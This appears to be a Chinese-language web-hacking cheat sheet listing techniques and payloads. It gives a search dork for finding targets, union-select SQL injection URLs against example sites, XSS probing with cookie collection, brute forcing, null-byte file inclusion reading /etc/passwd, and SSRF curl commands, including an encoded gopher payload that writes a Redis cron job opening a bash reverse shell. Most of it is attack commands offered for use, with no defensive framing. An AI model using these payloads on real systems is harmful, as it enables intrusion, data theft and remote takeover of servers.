sql注入
- hack search 查找目标网站(
inurl:"xxx.php?id="
) - url后追加
'
单引号,看情况,判定是否存在注入
字符串型注入
- 查看
id=1 and 1=1
id=1 and 1=2
结果一致,类型判定完毕 - 判定col数,这里可以用工具或手动
http://www.xxxx.org/news.php?id=10040%27%20union%20select%201,database(),3,4,5%27
数字型注入
- 分别在url后追加
id=1 and 1=1
id=1 and 1=2
查看结果不一致,类型判定完毕 - 判定col数,这里可以用工具或手动
http://xx.xx.fr/game.php?id=135%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12
xss
反射型
- 输入
</>&#
,看返回情况
存储型
- 输入
</>&#
,看返回情况 - 利用xss平台收集cookie信息
暴力破解
- github找字典,上工具
命令执行
通过PHP的执行函数时,exec_shell,system
文件包含
通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验
文件截断
PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。
- ../etc/passwd\0
- ../etc/passwd%00
Session劫持
上传
SSRF漏洞
服务端请求伪造,不限制协议,可以介入任意协议
CURL本地利用
- dict protocol (操作Redis)
curl -vvv 'dict://127.0.0.1:6379/info' - file
curl -vvv 'file:///etc/passwd'
远程利用
利用file协议任意文件读取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'利用dict协议查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'利用gopher协议反弹shell
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
协议(基本跟SSRF没差别)
php://input伪协议
php://filter伪协议
data://伪协议
phar://伪协议
弱类型
php
-
'1a' == '1'
为true -
strcmp()
php5.3后这函数如果比较成功则返回0.....